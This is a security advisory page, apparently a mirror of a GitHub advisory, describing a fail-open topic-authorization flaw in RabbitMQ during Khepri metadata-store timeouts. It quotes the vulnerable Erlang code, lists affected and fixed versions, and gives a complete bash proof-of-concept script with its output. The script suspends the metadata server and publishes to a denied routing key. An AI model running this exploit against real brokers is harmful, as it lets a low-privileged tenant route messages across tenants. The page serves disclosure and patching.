Логотип exploitDog
Консоль
Логотип exploitDog

exploitDog

github логотип

GHSA-gpvw-75h5-3wvx

Опубликовано: 24 июн. 2026
Источник: github
Github: Не прошло ревью
CVSS4: 7

Описание

Topic authorization can lead to cross-tenant routing-key bypass

Summary

RabbitMQ topic authorization allows restricted topic operations during metadata-store failures due to error collapsing in topic-permission lookup handling. The internal backend fetches topic permissions and treats undefined as allow, while the database helper returns undefined for any non-{ok, TopicPermission} Khepri response, including timeout/error paths. This turns transient Khepri lookup faults into authorization success for topic writes/binds that should remain denied. Executed validation reproduced this deterministically: denied before fault, allowed during Khepri timeout, denied again after recovery. Intended-behavior research also indicates this is not expected behavior because backend authorization contracts treat {error, Error} as an error path, not an implicit allow.

Impact

An authenticated low-privileged tenant can publish or bind to routing keys outside its configured topic regex during Khepri lookup failures, enabling unauthorized cross-tenant message routing in shared topic exchanges.

Description

The topic-permission read path first queries Khepri and collapses every non-{ok, TopicPermission} result to undefined.

https://github.com/rabbitmq/rabbitmq-server/blob/83866edcc995602f546f3c4147078b3a610b0075/deps/rabbit/src/rabbit_db_user.erl#L416-L424

get_topic_permissions(Username, VHostName, ExchangeName) when is_binary(Username) andalso is_binary(VHostName) andalso is_binary(ExchangeName) -> Path = khepri_topic_permission_path(Username, VHostName, ExchangeName), case rabbit_khepri:get(Path) of {ok, TopicPermission} -> TopicPermission; _ -> undefined end.

After that lookup, the internal authorization backend treats undefined as success for topic access.

https://github.com/rabbitmq/rabbitmq-server/blob/83866edcc995602f546f3c4147078b3a610b0075/deps/rabbit/src/rabbit_auth_backend_internal.erl#L159-L167

check_topic_access(#auth_user{username = Username}, #resource{virtual_host = VHostPath, name = Name, kind = topic}, Permission, Context) -> case rabbit_db_user:get_topic_permissions(Username, VHostPath, Name) of undefined -> true; #topic_permission{permission = P} -> PermRegexp = case element(permission_index(Permission), P) of

The backend authorization contract explicitly defines {error, Error} as an error condition, so converting store errors into undefined and then allowing access violates expected validation flow.

https://github.com/rabbitmq/rabbitmq-server/blob/83866edcc995602f546f3c4147078b3a610b0075/deps/rabbit/src/rabbit_authz_backend.erl#L57-L69

%% Given #auth_user, topic as resource, permission, and context, can a user access the topic? %% %% Possible responses: %% true %% false %% {false, Reason} %% {error, Error} %% Something went wrong. Log and die. -callback check_topic_access(rabbit_types:auth_user(), rabbit_types:r(atom()), rabbit_types:permission_atom(), rabbit_types:topic_access_context()) -> boolean() | {false, Reason :: string()} | {'error', any()}.

The issue is triggered when a user with restricted topic permissions performs topic operations while Khepri returns timeout/error results, because the lookup failure is normalized to undefined and interpreted as allow instead of deny/error.

Proof of Concept (PoC)

The finding was validated against the 83866edcc995602f546f3c4147078b3a610b0075 commit.

The PoC demonstrates that topic authorization is correctly enforced before a metadata fault, fails open during a forced Khepri timeout, and returns to denial after recovery. It uses one standalone helper file and standard broker APIs/CLI only. The full helper file used in execution is included below.

validation-environments/finding-674/poc_topic_fail_open.sh

#!/usr/bin/env bash set -euo pipefail MGMT='http://127.0.0.1:15672/api' ADMIN_USER='guest' ADMIN_PASS='guest' VHOST='poc-topic-674' EXCHANGE='topic_ex' QUEUE='victim_q' ATT_USER='att_674' ATT_PASS='attpass674' req() { local method="$1"; shift local url="$1"; shift local data="${1:-}" if [ -n "$data" ]; then curl -sS -u "$ADMIN_USER:$ADMIN_PASS" -H 'content-type: application/json' -X "$method" "$url" -d "$data" else curl -sS -u "$ADMIN_USER:$ADMIN_PASS" -X "$method" "$url" fi } att_publish() { local payload="$1" curl -sS -i -u "$ATT_USER:$ATT_PASS" -H 'content-type: application/json' \ -X POST "$MGMT/exchanges/$VHOST/$EXCHANGE/publish" \ -d "{\"properties\":{},\"routing_key\":\"secret.1\",\"payload\":\"$payload\",\"payload_encoding\":\"string\"}" } echo '[*] Cleanup from previous runs' req DELETE "$MGMT/users/$ATT_USER" >/dev/null || true req DELETE "$MGMT/vhosts/$VHOST" >/dev/null || true echo '[*] Create topology and users' req PUT "$MGMT/vhosts/$VHOST" '{}' req PUT "$MGMT/exchanges/$VHOST/$EXCHANGE" '{"type":"topic","durable":true,"auto_delete":false,"internal":false,"arguments":{}}' req PUT "$MGMT/queues/$VHOST/$QUEUE" '{"auto_delete":false,"durable":true,"arguments":{}}' req POST "$MGMT/bindings/$VHOST/e/$EXCHANGE/q/$QUEUE" '{"routing_key":"secret.#","arguments":{}}' req PUT "$MGMT/users/$ATT_USER" "{\"password\":\"$ATT_PASS\",\"tags\":\"management\"}" req PUT "$MGMT/permissions/$VHOST/$ATT_USER" '{"configure":".*","write":".*","read":".*"}' req PUT "$MGMT/topic-permissions/$VHOST/$ATT_USER" '{"exchange":"topic_ex","write":"^public\\\\..*","read":"^public\\\\..*"}' echo '[*] Baseline publish should be denied by topic permission' att_publish 'blocked-before' echo '[*] Find and suspend Khepri Ra server' PID=$(docker exec bbval-rabbitmq-server rabbitmqctl eval 'Pid = ra_directory:where_is(coordination, rabbitmq_metadata), io:format("~p", [Pid]).' | tr -d '\r') echo "KHEPRI_PID=$PID" docker exec bbval-rabbitmq-server rabbitmqctl eval 'Pid = ra_directory:where_is(coordination, rabbitmq_metadata), sys:suspend(Pid), Pid.' echo '[*] Confirm Khepri lookup now errors' docker exec bbval-rabbitmq-server rabbitmqctl eval 'rabbit_khepri:get([rabbitmq], #{timeout => 1000}).' echo '[*] Exploit publish during Khepri error' att_publish 'bypass-during-khepri-error' echo '[*] Read queue content as evidence of unauthorized routing' req POST "$MGMT/queues/$VHOST/$QUEUE/get" '{"count":5,"ackmode":"ack_requeue_false","encoding":"auto","truncate":50000}' echo '[*] Resume Khepri' docker exec bbval-rabbitmq-server rabbitmqctl eval 'Pid = ra_directory:where_is(coordination, rabbitmq_metadata), sys:resume(Pid), Pid.' echo '[*] Verify denial returns after resume' att_publish 'blocked-after-resume'

PoC Steps

  1. Ensure a running RabbitMQ broker with management API on 127.0.0.1:15672 and CLI access via rabbitmqctl inside the broker container.
  2. Create directory validation-environments/finding-674.
  3. Create file validation-environments/finding-674/poc_topic_fail_open.sh with the exact content shown above.
  4. Run chmod +x validation-environments/finding-674/poc_topic_fail_open.sh.
  5. Run bash validation-environments/finding-674/poc_topic_fail_open.sh.
  6. Observe baseline publish denial for secret.1, then forced Khepri timeout, then publish success during timeout, then denial again after resume.

PoC Results

Observed stdout/stderr from the executed run:

[*] Baseline publish should be denied by topic permission HTTP/1.1 400 Bad Request ... {"error":"bad_request","reason":"403 ACCESS_REFUSED - write access to topic 'secret.1' in exchange 'topic_ex' in vhost 'poc-topic-674' refused for user 'att_674'"} [*] Confirm Khepri lookup now errors {error,timeout} [*] Exploit publish during Khepri error HTTP/1.1 200 OK ... {"routed":true} [*] Read queue content as evidence of unauthorized routing [{"payload_bytes":26,"redelivered":false,"exchange":"topic_ex","routing_key":"secret.1","message_count":0,"properties":[],"payload":"bypass-during-khepri-error","payload_encoding":"string"}] [*] Verify denial returns after resume HTTP/1.1 400 Bad Request ... {"error":"bad_request","reason":"403 ACCESS_REFUSED - write access to topic 'secret.1' in exchange 'topic_ex' in vhost 'poc-topic-674' refused for user 'att_674'"}

The results show a real fail-open authorization bypass limited to the Khepri lookup error window: policy-denied topic publish becomes accepted and routed, then returns to denied when metadata lookup recovers.

Пакеты

Наименование

rabbitmq

vmware
Затронутые версииВерсия исправления

>= 4.2.0, < 4.2.6

4.2.6

Наименование

rabbitmq

vmware
Затронутые версииВерсия исправления

>= 4.1.0, < 4.1.11

4.1.11

Наименование

rabbitmq

vmware
Затронутые версииВерсия исправления

>= 4.0.0, < 4.0.21

4.0.21

Наименование

rabbitmq

vmware
Затронутые версииВерсия исправления

>= 3.13.0, < 3.13.15

3.13.15

EPSS

Процентиль: 28%
0.00352
Низкий

7 High

CVSS4

Связанные уязвимости

CVSS3: 6.5
ubuntu
23 дня назад

RabbitMQ is a messaging and streaming broker. Prior to 3.13.15, 4.0.21, 4.1.11, and 4.2.6, RabbitMQ topic authorization can allow restricted topic writes and binds during metadata-store failures because topic-permission lookup errors from Khepri can collapse to undefined, which the internal backend treats as allow. This issue is fixed in versions 3.13.15, 4.0.21, 4.1.11, and 4.2.6.

CVSS3: 6.5
redhat
23 дня назад

RabbitMQ is a messaging and streaming broker. Prior to 3.13.15, 4.0.21, 4.1.11, and 4.2.6, RabbitMQ topic authorization can allow restricted topic writes and binds during metadata-store failures because topic-permission lookup errors from Khepri can collapse to undefined, which the internal backend treats as allow. This issue is fixed in versions 3.13.15, 4.0.21, 4.1.11, and 4.2.6.

CVSS3: 6.5
nvd
23 дня назад

RabbitMQ is a messaging and streaming broker. Prior to 3.13.15, 4.0.21, 4.1.11, and 4.2.6, RabbitMQ topic authorization can allow restricted topic writes and binds during metadata-store failures because topic-permission lookup errors from Khepri can collapse to undefined, which the internal backend treats as allow. This issue is fixed in versions 3.13.15, 4.0.21, 4.1.11, and 4.2.6.

CVSS3: 6.5
msrc
12 дней назад

RabbitMQ: Topic authorization can lead to cross-tenant routing-key bypass

CVSS3: 6.5
debian
23 дня назад

RabbitMQ is a messaging and streaming broker. Prior to 3.13.15, 4.0.21 ...

EPSS

Процентиль: 28%
0.00352
Низкий

7 High

CVSS4